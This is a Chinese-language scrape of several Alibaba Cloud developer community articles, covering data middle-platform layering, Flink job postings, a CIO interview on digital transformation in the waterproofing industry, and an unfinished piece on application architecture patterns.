    订单对于电商场景的最根本数据源,如何让海量的订单数据易分析、易可视化是场景的重要需求点,电商大屏或周期交易报表是最直接的数据价值挖掘的方式。这里以大屏为例,大屏可以包含全量订单、实时订单的聚合,全量订单的聚合提供的是全景的综合数据视图,而实时订单的聚合展示的是实时的运营指标数据。
    谈完流批计算对数据价值挖掘的作用,就要见一下实现。Tablestore已经拥有较多的实战案例与架构文章,这里不做重复输出,用户可以直接前往文章《Tablestore结合Spark的流批一体SQL实战》,了解构建方案与效果。大屏效果如下图。
    image.png

    免费专家服务

    欢迎加入Tablestore社区了解产品或参与讨论,更多文章欢迎前往《表格存储Tablestore权威指南》。
    表格存储 (Tablestore) 提供专业的免费的技术咨询服务,期待您的加入。群号 : 23307953
    image.png

    ]]>
    数据中台交付专家告诉你,数据架构的分层怎样更加合理?-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800
    -更多关于数智化转型、数据中台内容请加入阿里云数据中台交流群—数智俱乐部 和关注官方微信公总号(文末扫描二维码或点此加入

    -阿里云数据中台官网 https://dp.alibaba.com/index

    作者:柯根

    从整体上看,数据中台体系架构可分为:数据采集层、数据计算层、数据服务层三大层次。通过这三大层次对上层数据应用提供数据支撑。

    数据采集层

    对于企业来说,每时每刻都在产生海量的数据,数据采集作为数据体系第一环尤为重要。

    因此在数据采集层需要建立了一套标准的数据采集体系方案,并致力全面、高性能、规范地完成海量数据的采集,将其传输到大数据平台。

    互联网日志采集体系包括两大体系:Web端日志采集技术方案;APP端日志采集技术方案。

    在采集技术之上,企业可以用面向各个场景的埋点规范,来满足日志数据打通等多种业务场景。同时,还可以建立了一套高性能、高可靠性的数据传输体系完成数据从生产业务端到大数据系统的传输;在传输方面,采集技术可既包括数据库的增量数据传输,也包括日志数据的传输;既需要能支持实时流式计算、也能实时各种时间窗口的批量计算。另一方面,也通过数据同步工具直连异构数据库(备库)来抽取各种时间窗口的数据。

    下图展示数据采集层在数据分层中的位置:
    1.png

    数据计算层

    从采集系统中收集了大量的原始数据后,数据只有被整合、计算才能被用于洞察商业规律、挖掘潜在信息,实现大数据价值,达到赋能商业、创造商业的目的。从采集系统中收集到的大量原始数据,将进入数据计算层中被进一步整合与计算。

    面对海量的数据和复杂的计算,数据计算层包括两大体系:数据存储及计算云平台和数据整合及管理体系。

    - 数据存储及计算云平台
    例如,MaxCompute是阿里巴巴自主研发的离线大数据平台,其丰富的功能和强大的存储及计算能力使得企业的大数据有了强大的存储和计算引擎;StreamCompute是阿里巴巴自主研发的流式大数据平台,在内部较好地支持了企业流式计算需求。

    - 数据整合及管理体系
    “OneModel”是数据整合及管理的方法体系和工具,大数据工程师在这一体系下,构建统一、规范、可共享的全域数据体系,避免数据的冗余和重复建设,规避数据烟囱和不一致,充分发挥在大数据海量、多样性方面的独特优势。借助这一统一化数据整合及管理的方法体系,构建企业数据公共层,并可以帮助相似大数据项目快速落地实现。

    数据中台数据加工链路也是遵循业界的分层理念:包括操作数据层(ODS,Operational Data Store)、明细数据层(DWD,Data Warehouse Detail)、汇总数据层(DWS, Data Warehouse Summary)和应用数据层(ADS,Application Data Store)。通过数据中台不同层次之间的加工过程实现从数据资产向信息资产的转化,并且对整个过程进行有效的元数据管理及数据质量处理。

    下图展示数据公共层(ODS+DWD+DWS)与数据应用层(ADS)在数据分层中的位置:
    2.png
    图:数据公共层与数据应用层关系

    (1)统一数据基础层
    我们通过各种方式采集到的丰富数据,在清洗、结构化后进入统一的ODS数据基础层。

    其主要功能包括:
    -同步:结构化数据增量或全量同步到数据中台
    -结构化:非结构化(日志)结构化处理并存储到数据中台
    累积历史、清洗:根据数据业务需求及稽核和审计要求保存历史数据、数据清洗

    在权责方面,所有数据应该在源头统一,统一所有的数据基础层,并由一个团队负责和管控,其他团队无权复制数据基础层的数据。

    (2)数据中间层
    我们进行数据建模研发,并处理不因业务特别是组织架构变动而轻易转移的数据中间层。包括DWD明细数据中间层和DWS汇总数据中间层。

    其主要功能包括:
    -组合相关和相似数据: 采用明细宽表,复用关联计算,减少数据扫描。
    -公共指标统一加工:基于OneData体系构建命名规范、口径一致和算法统一的统计指标,为上层数据产-品、应用和服务提供公共指标;建立逻辑汇总宽表;
    -建立一致性维度:建立一致数据分析维度表,降低数据计算口径、算法不统一的风险。

    在权责方面,面向业务提供服务之前,由统一的团队负责从业务中抽象出源于业务而又不同于业务的数据域,再主导统一建设数据中间层,包括侧重明细数据预JOIN等处理的明细中间层、侧重面向应用可复用维度和指标的汇总数据中间层。特别是要由唯一团队负责将核心业务数据统一加入数据中间层。允许部分业务数据有独立的数据团队按照统一的OneModel体系方法论建设数据体系,ODS数据基础层和DWD+DWS数据中间层因其统一性和可复用性,被称为数据公共层。

    (3)数据应用层
    在面向应用提供服务时,业务团队或深入业务线的数据团队有极大的自由度,只要依赖数据公共层,即可自由的建设ADS数据应用层。

    其主要功能包括:
    -个性化指标加工:不公用性;复杂性(指数型、比值型、排名型指标)
    -基于应用的数据组装:大宽表集市、横表转纵表、趋势指标串

    数据服务层

    当数据已被整合和计算好之后,需要提供给产品和应用进行数据消费,为了更好的性能和体验,需要构建数据服务层,通过接口服务化方式对外提供数据服务。针对不同的需求,数据服务层的数据源架构在多种数据库之上,如Mysql和Hbase等。

    数据服务可以使应用对底层数据存储透明,将海量数据方便高效地开放给集团内部各应用使用。如何在性能、稳定性、扩展性等多方面更好地服务用户;如何满足应用各种复杂的数据服务需求;如何保证数据服务接口的高可用。随着业务的发展,需求越来越复杂,因此数据服务也在不断地前进。

    不管是数据公共层还是应用层,最终都需要面向业务提供服务。为了让业务部门找数据、看数据、用数据更加方便,我们将OpenAPI升级为能缓解业务变化对数据模型冲击的包括方法论+产品在内的OneService体系,使其在提供统一的公用服务的同时,兼容面向个性化应用的服务。

    下图为数据服务层在数据分层中的位置:
    3.png
    图:数据应用层与数据服务层关系

    综上,企业数据中台依托数据采集层、数据计算层、数据服务层,为上层数据产品、业务系统等提供数据支撑。云上数据中台产品Dataphin从“采、建、管、用”为企业提供一站式数据中台各层次的实现,配合阿里云系列产品,可实现企业数据中台全链路稳定、高效构建。


    数据中台是企业数智化的必经之路,阿里巴巴认为数据中台是集方法论、工具、组织于一体的,“快”、“准”、“全”、“统”、“通”的智能大数据体系。

    目前正通过阿里云对外输出系列解决方案,包括通用数据中台解决方案零售数据中台解决方案金融数据中台解决方案互联网数据中台解决方案政务数据中台解决方案等细分场景。

    其中阿里云数据中台产品矩阵是以Dataphin为基座,以Quick系列为业务场景化切入,包括:

    官方站点:
    数据中台官网 https://dp.alibaba.com
    钉钉沟通群和微信公众号
    数据中台钉钉群二维码2.jpg

    ]]>
    【福利】实时计算及 Flink 社区招聘信息汇总-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 招聘.jpg

    大家好,为帮助大家更好的找到适合的岗位,拿到心仪公司的offer,社区收集了多家实时计算及 Flink 企业用户的招聘需求,如:知乎、VIPKID、新氧、作业帮、得物、好未来、阿里巴巴等招聘信息,整理如下,供大家参考。

    欢迎更多企业投递实时计算及 Flink 相关招聘信息,更欢迎 Flink 专家、技术爱好者自荐。相关需求可联系小松鼠(微信 ID:Ververica2019)。

    本期招聘企业及岗位如下,找工作或有意向换工作的同学快到碗里来!

    image.png

    知乎 | 大数据实时处理平台研发工程师
    VIPKID | 实时计算研发工程师
    得物APP | 实时数据开发
    作业帮 | 实时计算架构研发工程师
    新氧科技 | 大数据开发工程师
    好未来 | 实时计算 Flink 专家岗 / 数据平台开发 - Flink 实时&离线岗
    阿里云计算平台事业部 | 研发工程师

    知乎:大数据实时处理平台研发工程师

    知乎数据架构团队正在围绕 Apache Flink 为核心打造大数据实时计算平台,为知乎内部业务提供批流融合的大数据计算能力,加入知乎数据架构团队共同探索新一代的大数据技术。欢迎大家推荐简历!

    岗位描述

    1. 参与 Apache Flink 的二次开发,建设 Flink 批流融合大数据计算引擎
    2. 深入理解业务并与业务部门密切合作,基于 Apache Flink + Kubernetes 建设知乎的实时计算平台

    岗位要求

    1. 计算机、通信、数学等相关专业,具备良好的计算机技术基础
    2. 熟悉 Java,具备扎实的数据结构和算法基础
    3. 具备良好的沟通和团队协作能力,做事主动积极,有技术热情和激情面对挑战
    4. 深入理解 Flink 或 Spark Streaming 原理者优先
    5. 有 PB 级数据处理经验和实时计算平台开发经验者优先
    6. 熟悉 Hadoop Ecosystem 例如 -- Flink/Spark/Hadoop/Hive/Kafka/Pulsar 以及 Kubernetes,向社区贡献过代码者优先

    简历投递

    • 工作地点:北京
    • 简历投递:sunxiaoguang@zhihu.com

    VIPKID:实时计算研发工程师

    岗位职责

    1.参与实时计算平台建设和架构设计开发,维护与优化;
    2.负责海量数据的采集,清洗等工作。

    岗位要求

    1.5年以上工作经验;
    2.熟练掌握hadoop、spark、storm、flink等大数据相关组件,深入理解系统原理,并有丰富Flink开发及运维经验
    3.精通数据采集、实时计算
    4.3年以上的Java或scala开发经验(熟练使用java、scala、python等开发语言);
    5.了解数据结构及算法(基本算法即可)
    6.具有较强的学习能力,自我管理能力、驱动能力
    
    加分项:
    
    有过主导和设计实时计算平台的系统规划,并落地的经验优先

    简历投递

    • 工作地点:北京
    • 简历投递:yangliang@vipkid.com.cn

    得物APP:实时数据开发

    岗位职责

    负责公司实时相关的业务数据统计需求的开发,包括实时数仓,标签体系,日志和业务数据的etl等工作。

    岗位要求

    1. 熟悉 Java、Scala 中至少一门语言,熟练使用 SQL。
    2.有大数据组件使用经验,熟悉大数据相关技术,如 Spark、Flink、HBase、Hive、Clickhouse 等。
    3. 使用 Flink 开发过复杂业务,熟悉 Datastream 和 Table/Sql API,有flink 作业线上调优经验优先。
    4.良好的业务理解能力和沟通表达能力,主动性强。

    简历投递

    • 工作地点:上海市杨浦区互联宝地
    • 简历投递:luoziyu@theduapp.com

    作业帮:实时计算架构研发工程师

    岗位职责

    1. 负责作业帮业务数据内容规划和设计,实现数据互通共享体系,解决海量数据面临的挑战;
    2. 负责公司流量数据OLAP引擎和实时计算框架的设计、开发和优化,构建实时数据的公共层;
    3. 负责Spark、Flink集群的管理和优化,保证集群持续稳定;
    4. 根据业务需求进行上游数据平台设计开发,打造高可用的数据平台;

    岗位要求

    1. 有一线互联网公司2年数据开发经验,或独立负责大中型业务大数据实时架构的经验;
    2. 熟悉Linux系统,具备Java/Scala/Python等一种或几种语言的开发能力;
    3. 熟悉Flink/Spark/Kafka/Presto/Hadoop/HBase等大数据相关技术,对源码有研究或者有调优经验者优先;
    4. 熟悉并行计算或者分布式计算原理,熟悉高并发、高稳定性、海量数据的系统特点和技术方案;
    5. 有大数据系统平台项目经验,掌握实时数据处理系统搭建和开发;
    6. 学习能力强,热衷开源技术,有团队观念,具备独立解决问题的能力;

    简历投递

    • 工作地点:北京
    • 简历投递邮箱:zhangying14@zuoyebang.com

    北京新氧科技有限公司:大数据开发工程师

    岗位职责

    1. 负责新氧实时业务数据支撑;
    2. 主要参与新氧流量、内容、电商、会员等各主题域实时数据仓库开发。
    3. 负责实时数据仓库程序上线并持续迭代优化以及日常运维

    岗位要求

    1. 本科以上,计算机相关专业;
    2. 3年以上的大数据研发经验,有flink实时作业开发部署调优经验。对kafka有较深入研究,对性能调优、故障恢复有一定的处理经验。
    3. 熟悉Linux操作环境,有良好的至少一门语言 (Java、Scala) 开发调试经验;
    4. 熟悉大数据开发相关技术,如hadoop、hive、spark、kafka、 spark streaming、Flink等;
    5. 熟练数据仓库,对多维数据建模有深入理解;
    6. 对数据系统热爱,乐于解决具有挑战性的问题, 具备优秀的分析问题、解决问题能力;

    简历投递

    • 工作地点:北京
    • 简历投递:gaohongchao@soyoung.com;liuyuquan@soyoung.com

    好未来:实时计算 Flink 专家岗 / 数据平台开发 - Flink 实时&离线岗

    实时计算 Flink 专家岗

    岗位职责

    1.负责行业实时计算开发平台的架构设计,完善实时计算方案
    2.支撑公司内部的实时业务开发
    3.对 Flink 以及周边技术进行源码级探索改进

    岗位要求

    1.有实时计算引擎设计项目经验,并能完成相应系统设计研发
    2.有丰富的Flink线上部署/日常运维/性能分析/故障定位能力
    3.精通 Java 编程语言,计算机基础知识(网络/操作系统/分布式基础等)扎实
    4.有过 SQL 引擎开发经验,或者对编译原理有所了解
    5. 有过完整实时开发平台项目经验者优先

    简历投递

    • 工作地点:北京
    • 简历投递:liuwenlin@tal.com

    数据平台开发:Flink 实时&离线岗

    岗位职责

    离线
    1.参与集团数据中台大数据基础设施建设
    2. 负责大数据生态组件的调优和二次开发
    3. 负责大数据平台开发套件相关子系统开发
    实时
    1.实现行业实时计算开发平台
    2. 支撑公司内部的实时业务开发
    3. 对flink以及周边技术进行源码级探索改进

    岗位要求

    1.3-5年相关工作经验,计算机相关专业本科以上学历
    2.精通java语言,熟悉常用设计模式、主流开发框架,3年以上相关开发经验;

    离线

    1.参与过大数据开发套件产品的后端开发者优先,包括大数据离线任务调度系统,元数据管理系统,数据质量系统等。
    2. 熟悉Hadoop集群及相关生态组件(HDFS、Zookeeper、YARN、Hive、Spark、Kerberos、AirFlow、Flink、Presto、Kudu等),有调优和二次开发经验者优先。
    3. 熟悉集群权限控制及开发者优先
    4. 熟悉数据安全管理和实践经验优先

    实时

    1. 有实时计算引擎设计项目经验,并能完成相应系统设计研发
    2. 有丰富的Flink线上部署/日常运维/性能分析/故障定位能力
    3. 有过SQL引擎开发经验,或者对编译原理有所了解
    4. 有过完整实时开发平台项目经验者优先

    简历投递

    • 工作地点:北京
    • 简历投递:liuwenlin@tal.com

    阿里云计算平台事业部:研发工程师

    团队介绍

    1. 基于Hadoop、Spark、Hive、HBase、Flink,Kafka,TensorFlow等开源大数据组件,构建云原生大数据平台,提供大规模计算能力;
    2. 提供一站式大数据应用开发平台, 包括大数据安全体系,数据治理,作业调度,交互式查询,专项领域监控,通过机器学习算法帮助用户智能诊断复杂问题;
    3. 打造世界顶级的开源大数据平台,在公共云、裸机、私有云和混合云等环境, 为阿里云客户提供云原生大数据全家桶服务;
    4. 参与阿里云城市大脑、智慧交通等多项国家战略项目建设,利用实时/批技术处理真实世界中的海量数据。

    职位描述

    1. 计算机、通信、数学等相关专业,具备良好的计算机技术基础;
    2. 熟悉Java/C++/Python/GO等至少一种编程语言,具备扎实的数据结构和算法基础;
    3. 具备良好的沟通和团队协作能力,做事主动积极,有技术热情和激情面对挑战;
    4. 熟悉主流JAVA框架,包括spring、netty、mybatis等技术者优先;
    5. 熟悉Hadoop/Spark/Flink/Storm/HBase/Hive/Kafka/TensorFlow/Kubernetes/Prometheus技术者优先。

    简历投递

    • 工作地点:北京
    • 简历投递:wali.rcd@taobao.com

    ▼ 实时计算 Flink 技术交流群 ▼

    实时计算交流群 200.jpeg

    ]]>
    凯伦陈洪进:中国防水行业亟待拥抱数字化变革 | 阿里CIO学院名人堂-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 image.png

    9月10日,陈洪进与来自全国各地的36家大型企业的43位信息化高管共聚美丽的北国春城,参加由阿里巴巴与中国一汽联合举办的阿里CIO学院走进一汽共创会,从智能制造、新营销和新IT三个角度探寻企业转型中的“数字化力量”。

    活动期间,陈洪进与其他学员们就企业数字化转型进行了深入交流。会后,陈洪进接受CIO学院的新媒体访谈,他表示对传统的制造企业而言,数字经济带来的不是数字化转型,而是数字化升级,中国防水行业亟待拥抱数字化变革。

    image.png

    走进一汽感受数字化力量

    在参加完走进一汽的活动后,陈洪进对两个内容感触较深:

    第一,数字化工厂的实践。对传统的制造型企业而言,红旗数字化工厂不像媒体上宣传的各种类型的无人产线那么高不可攀,现场有很多人在不同工序从事各种作业,各种AGV设备也有明显地自行改造的影子,但通过优化现场流程实现了生产效率的大幅度提升。除了遍布全厂的AGV小车外,无人值守库房、工序配件的自动调度、车间电子看板取代纸质单据等内容,都令人印象深刻,值得借鉴。

    第二,产品数字化在价值链上的拓展。一汽提出根据服务的价值链不同,构建不同的数字孪生主体,包括研发孪生、制造孪生、营销孪生、运营孪生等。当前传统制造型企业讨论的孪生大多偏重于设备领域,以设备模拟和预防性维护为主要方向,一汽的孪生理念拓展了产品数字化的边界,以产品为载体,整合企业价值链的各种数据形成适应每个价值模型的数字化产品,这种理念超越了对个别业务进行数字孪生的认知,对于指导制造型企业进行全面数字化转型具有很好的引领作用。

    image.png

    陈洪进在活动现场

    凯伦股份全力加速数字化转型

    凯伦股份是中国建筑防水行业首家创业板上市公司,缔造了传统制造领域民营企业6年上市的传奇速度。2017年上市至今,年复合增长率63%。

    凯伦股份在信息化建设上具有前瞻性。2012年工厂投产即投用了定制的金蝶ERP系统,良好的支撑了企业运营和上市;上市后,2018年即着手实施Oracle ERP系统,于2019年1月1日顺利上线,支持了企业由单一工厂到多工厂、单一组织到多组织的快速发展。

    2019至2020年进一步实施了MES、HR、BI、智能化大屏等系统。

    凯伦的信息化面临的主要挑战是如何为公司的快速发展保驾护航,涉及集团管控、异地工厂管理、新业务模式涌现等课题。凯伦所在的行业是建材领域,面对的客户主要是传统的建筑工程市场客户,产品非常标准化,属于典型的“toB”业务,企业管理的重点是提升自身的运营效率。

    根据如上情况,凯伦提出了“数字化运营,可视化管理”的信息系统三年战略目标,要求在经营、生产的全过程实现数字化,同时对每个职能通过报表、大屏等实现可视化管理。进而凯伦设定了核心的管控指标:部门KPI指标覆盖率,要求由系统出具考核数据的部门KPI指标占比60%以上。

    数字化转型?数字化升级!

    在下午举行的阿里CIO学院走进一汽共创会上,来自中国一汽数字化部、启明信息、阿里巴巴的6位讲师针对 “新制造”、“新基建”、“新营销”等话题进行了深度分享,深度讲解以云数智为代表新兴数字技术正在为汽车产业赋能,加速行业向智能化、电动化、网联化、共享化的出行服务转型。

    陈洪进表示,对传统的制造企业而言,数字经济带来的不是数字化转型,而是数字化升级。以阿里为代表的互联网企业带来了很多新技术、新理念、新做法,值得传统制造企业借鉴。

    2019年,阿里的“中台”概念火热却在制造业鲜有案例,关键原因应该是制造业中很少涉及一个公司内要在较短的时间内、由不同部门实现类似业务快速上线的应用场景。但在不到一年的时间内,苏州的一家企业使用中台、微服务的理念,以单点登录为切入点,重构了企业内部系统,极大提升了员工使用业务系统的效率;在一汽参观中,启明信息更是提出基于中台架构,通过微服务设计,将传统的ERP系统拆解成分布式、开放式和服务化的业务平台。

    在当前各行各业都面临巨大挑战,业务的瞬息万变,要求对应的信息系统具有良好的弹性,开放化、服务化将成为永恒的主题。在这种背景下,中台、微服务的理念对于在现有的业务系统基础上,快速构建全新的业务支持系统具有重要的理念引导作用,无疑是阿里输出给社会的成功经验。架构中台化也将是凯伦未来三年要重点实现的技术目标。

    在陈洪进看来,阿里还有很多如云平台、弹性计算这些可以直接使用的技术,阿里的管理理念也是当前企业管理界的热点。传统制造业应该充分借鉴和应用这些理念和技术,提升自身的管理能力和经营效率,加快转型和升级,以更好的状态参与市场竞争。

    image.png

    陈洪进参与圆桌论坛环节

    数字化转型人才和开放合作至关重要

    当前中国防水市场正在加速转型,目前规模每年2000亿元,绝大部分业务是toB业务,但头部企业已经涉足C端市场,直接面向消费者;同时,随着凯伦为代表的高分子防水市场的拓展,中国的防水行业深入参与国际市场竞争也是可以预见的未来。

    在这种背景下,陈洪进认为,以下三个方面是防水行业数字化升级的主要内容:首先,以“提质、降本、增效”为核心的内部管理的数字化升级;其次,面向防水工程的施工过程管理的数字化升级;再次,面向家装领域即C端的业务模式、营销模式的数字化创新,未来防水行业的数字化升级的亮点就在这三个方向上。

    更重要的是,传统制造型企业转型,对业务部门而言是理念的挑战,对IT部门而言是技术和业务的双重挑战,这可能是制造型企业的共同痛点。业务部门由于不懂IT技术,很难理解IT技术的边界,也很少会用IT的视角诠释业务需求,所以需要在理念上认同数字化;IT部门首先要立足业务需求解决业务问题,其次要用更合理的技术确保可扩展性,两个方面要兼顾。归根结底,企业需要培养数字化复合型人才,这是一个永恒的话题。

    陈洪进指出,凯伦需要培育核心的数字化复合型人才,需要兼顾业务和IT技术。制造型企业的信息化往往不是技术创新驱动型,需要精通行业特点的人才,立足于业务本身,使用IT技术解决实际问题。防水行业如今整体信息化水平一般的问题核心是复合型人才稀缺。凯伦的目标不仅仅局限于国内市场,所以必须培养出核心的数字化复合型人才,才能支持各种可能的业务方向。

    对于技术,陈洪进倾向于开放合作。他认为制造型企业不像互联网行业一样有众多精英IT人才。所以,凯伦应该有懂得IT边界的、精通业务流程的人才,能阐明业务需求,而对于业务的具体技术实现,可以根据实际情况选择。

    在陈洪进看来,大数据和人工智能将会带来行业的巨变。他记得在此次参观中,一汽的领导在分享业务对象数字化的认识时,提出:一个设备,最早只是一个代码,不到1K的信息;当数据累计到10M时,可以支持设备的全生命周期管理;1G时,可以开展预防性维修;10G时,可以支持虚拟仿真。这个例子比较形象的说明了业务对象的数据累积到一定程度,大数据、人工智能等技术可以带来量变到质变的过程。

    “因为相信,所以看见”,“仰望星空,脚踏实地”,陈洪进表示,阿里的这两句话最代表他对大数据、人工智能技术的感触。

    阿里CIO学院应考虑建立行业分院

    陈洪进:首先很感激阿里给CIO创造的这样一个公益平台,让大家有机会深入学习和了解阿里,也有机会互相学习。通过阿里CIO学院的组织走进中国一汽,观摩标杆企业的精益制造;领略前沿的数字化转型,学习先进的数字化方法论;专家老师全程相伴,并与阿里巴巴和中国一汽的数字化高管面对面交流,倾听实战分享、可谓一场完美的主题活动。

    我觉得未来可以考虑行业分院的形式,让学员更加有针对性。同时也可以开展分院之间的交流互动,取长补短。

    公司简介

    image.png

    凯伦股份是一家集防水材料研发、制造、销售及施工服务于一体的国家高新技术企业。先后获得“中国防水行业质量提升示范企业”、“中国房地产500强首选供应商”、“江苏省优秀企业”等荣誉称号。企业以“融合防水”为旗,于国内首创MBP高分子自粘胶膜防水卷材和白色抗流挂聚氨酯防水涂料,填补了国内高分子防水领域的技术空白,引领行业转型升级。2017年10月26日,凯伦股份实现A股上市,成为中国建筑防水行业首家创业板上市公司。

    公司目前在华东、华北、华中和西南建有现代化生产基地,引进全套进口成型生产线和先进的胶体磨等设备,精细化和自动化程度达到国际同行先进水平。为快速响应市场,公司不断完善产业布局,在西北、华南和华东(新)投资建设产业基地,抓住长三角生态绿色一体化发展示范区机遇,在苏州建设世界一流的高分子防水材料生产基地。

    秉承“精细化的融合、看得见的诚实”的经营理念,公司短短几年内把业务推向多个建筑防水领域,先后与万科、恒大、碧桂园、绿地等20多个龙头房地产建立战略合作关系,承接了多个高铁、地铁、隧道、核电站和地下管廊等防水项目;凯伦股份放眼全球,销售遍布美国、英国、德国、澳大利亚、以色列、新加坡、印度等60多个国家和地区。

    凯伦股份坚守“高品质”和“绿色生产”的战略定位,致力成为国际领先的功能性建材制造商,以稳健的步伐,确保基业长青,效力百年建筑,造福人类,回馈社会。

    文章来源:阿里飞天CIO学堂微信公众号

    名人堂

    名人堂是阿里CIO学院打造的一档大伽访谈栏目,每周一期。以推动企业创新与数智化升级为愿景,通过采访行业顶尖客户,帮你更好地了解和思考企业数字化转型中可能面临的挑战,梳理行业痛点和方法路径,从而相互滋养,共同成长。

    更多文章

    点击查看青岛华通集团智能研究院明磊:拥抱数字化转型正在成为CIO头等大事 | 阿里CIO学院名人堂>>>

    点击查看ERIC,ZHANG:地产业数字化转型按下“加速键”美好人居正当时 | 阿里CIO学院名人堂>>>

    点击查看李锋:联接数智化生态,打造“数字化越秀” | 阿里CIO学院名人堂>>>

    点击查看龙湘君:基金行业奏响数字化转型五部曲 | 阿里CIO学院名人堂>>>

    点击查看段晓力:从一个小目标的对立 到万个小目标的融合 | 阿里CIO学院名人堂>>>

    点击查看贾坤:扶贫基金事业借数字化转型助力决胜脱贫攻坚战 | 阿里CIO学院名人堂>>>

    点击查看郑荣:世界的香格里拉——从“藏在深闺无人识”到“网红旅游目的地” | 阿里CIO学院名人堂>>>

    点击查看魏琴:前海再保险以科技创新打破保险行业传统疆域 | 阿里CIO学院名人堂>>>

    点击查看王丽静:深挖“数据宝藏”打造新型高端智库 | 阿里CIO学院名人堂>>>

    点击查看石廷洪:推动数字化转型 打造世界一流企业 | 阿里CIO学院名人堂>>>

    点击查看韩海潮:数字化浪潮引领基金行业转型新方向 | 阿里CIO学院名人堂>>>

    点击查看谢钧棋:以“数”转型 用“脉”管理 | 阿里CIO学院名人堂>>>

    ]]>
    应用架构之道:分离业务逻辑和技术细节-阿里云开发者社区 Fri, 02 May 2025 09:39:03 +0800 头图.png

    作者 | 张建飞  阿里巴巴高级技术专家

    架构

    什么是架构?

    关于架构这个概念很难给出一个明确的定义,也没有一个标准的定义。

    硬是要给一个概述,我认为架构就是对系统中的实体以及实体之间的关系所进行的抽象描述。

    架构始于建筑,是因为人类发展(原始人自给自足住在树上,也就不需要架构),分工协作的需要,将目标系统按某个原则进行切分,切分的原则,是要便于不同的角色进行并行工作。

    为什么需要架构?

    有系统的地方就需要架构,大到航空飞机,小到一个电商系统里面的一个功能组件都需要设计和架构。

    我很喜欢《系统架构:复杂系统的产品设计与开发》里面的一句话:结构良好的创造活动要优于毫无结构的创造活动

    与之相对应的,现在很多敏捷思想提倡 no design,只要 work 就好。期待好的架构可以在迭代中自然涌现。这个想法有点太理想化了,在现实中,只要能 work 的代码,工程师是很少有动力去重构和优化的。

    架构师的职责

    作为架构师,我们最重要的价值应该是“化繁为简”。但凡让事情变得更复杂,让系统变得更晦涩难懂的架构都是值得商榷的。

    架构师的工作就是要努力训练自己的思维,用它去理解复杂的系统,通过合理的分解和抽象,使哪些系统不再那么难懂。我们应该努力构建易懂的架构,使得在系统上工作的其他人员(例如设计者、实现者、操作员等)可以较为容易地理解这个系统。

    软件架构

    软件架构是一个系统的草图。软件架构描述的对象是直接构成系统的抽象组件。各个组件之间的连接则明确和相对细致地描述组件之间的通信。在实现阶段,这些抽象组件被细化为实际的组件,比如具体某个类或者对象。在面向对象领域中,组件之间的连接通常用接口来实现。

    软件架构为软件系统提供了一个结构、行为和属性的高级抽象,由构件的描述、构件的相互作用、指导构件集成的模式以及这些模式的约束组成。软件架构不仅显示了软件需求和软件结构之间的对应关系,而且指定了整个软件系统的组织和拓扑结构,提供了一些设计决策的基本原理。

    软件架构的核心价值应该只围绕一个核心命题:控制复杂性。他并不意味着某个特定的分层结构,某个特定的方法论(贫血、DDD 等)。

    软件架构分类

    在介绍应用架构之前,我们先来看一下软件架构的分类。

    随着互联网的发展,现在的系统要支撑数亿人同时在线购物、通信、娱乐的需要,相应的软件体系结构也变得越来越复杂。软件架构的含义也变得更加宽泛,我们不能简单地用一个软件架构来指代所有的软件架构工作。按照我个人理解,我将软件架构划分为:

    1.png

    业务架构:由业务架构师负责,也可以称为业务领域专家、行业专家。业务架构属于顶层设计,其对业务的定义和划分会影响组织结构和技术架构。例如,阿里巴巴在没有中台部门之前,每个业务部门的技术架构都是烟囱式的,淘宝、天猫、飞猪、1688 等各有一套体系结构。而后,成立了共享平台事业部,打通了账号、商品、订单等体系,让商业基础实施的复用成为可能。

    应用架构:由应用架构师负责,他需要根据业务场景的需要,设计应用的层次结构,制定应用规范、定义接口和数据交互协议等。并尽量将应用的复杂度控制在一个可以接受的水平,从而在快速的支撑业务发展的同时,在保证系统的可用性和可维护性的同时,确保应用满足非功能属性要求(性能、安全、稳定性等)。

    分布式系统架构:分布式系统基本是稍具规模业务的必选项。它需要解决服务器负载,分布式服务的注册和发现,消息系统,缓存系统,分布式数据库等问题,同时架构师要在 CAP(Consistency,Availability,Partition tolerance)之间进行权衡。

    数据架构:对于规模大一些的公司,数据治理是一个很重要的课题。如何对数据收集、数据处理提供统一的服务和标准,是数据架构需要关注的问题。其目的就是统一数据定义规范,标准化数据表达,形成有效易维护的数据资产,搭建统一的大数据处理平台,形成数据使用闭环。

    物理架构:物理架构关注软件元件是如何放到硬件上的,包括机房搭建、网络拓扑结构,网络分流器、代理服务器、Web服务器、应用服务器、报表服务器、整合服务器、存储服务器和主机等。

    运维架构:负责运维系统的规划、选型、部署上线,建立规范化的运维体系。

    典型应用架构

    分层架构

    分层是一种常见的根据系统中的角色(职责拆分)和组织代码单元的常规实践。常见的分层结构如下图所示:

    2.png

    CQRS

    CQS(Command Query Separation,命令查询分离),最早来自于 Betrand Meyer(Eiffel 语言之父,OCP 提出者)提出的概念。其基本思想在于,任何一个对象的方法可以分为两大类:

    • 命令(Command): 不返回任何结果(void),但会改变对象的状态。
    • 查询(Query): 返回结果,但是不会改变对象的状态,对系统没有副作用。

    3.png

    六边形架构

    六边形架构是 Alistair Cockburn 在 2005 年提出,解决了传统的分层架构所带来的问题,实际上它也是一种分层架构,只不过不是上下,而是变成了内部和外部(如下图所示)。

    4.png

    六边形架构又称为端口-适配器架构,这个名字更容器理解。六边形架构将系统分为内部(内部六边形)和外部,内部代表了应用的业务逻辑,外部代表应用的驱动逻辑、基础设施或其他应用。

    适配器分为两种类型(如下图所示),左侧代表 UI 的适配器被称为主动适配器(Driving Adapters),因为是它们发起了对应用的一些操作。而右侧表示和后端工具链接的适配器,被称为被动适配器(Driven Adapters),因为它们只会对主适配器的操作作出响应。

    5.png

    洋葱圈架构

    洋葱架构与六边形架构有着相同的思路,它们都通过编写适配器代码将应用核心从对基础设施的关注中解放出来,避免基础设施代码渗透到应用核心之中。这样应用使用的工具和传达机制都可以轻松地替换,可以一定程度地避免技术、工具或者供应商锁定。

    不同的是洋葱架构还告诉我们,企业应用中存在着不止两个层次,它在业务逻辑中加入了一些在领域驱动设计的过程中被识别出来的层次(Application,Domain Service,Domain model,Infrastructure等)。

    另外,它还有着脱离真实基础设施和传达机制应用仍然可以运行的便利,这样可以使用 mock 代替它们方便测试。

    6.png

    在洋葱架构中,明确规定了依赖的方向:

    • 外层依赖内层;
    • 内层对外层无感知。

    COLA 应用架构

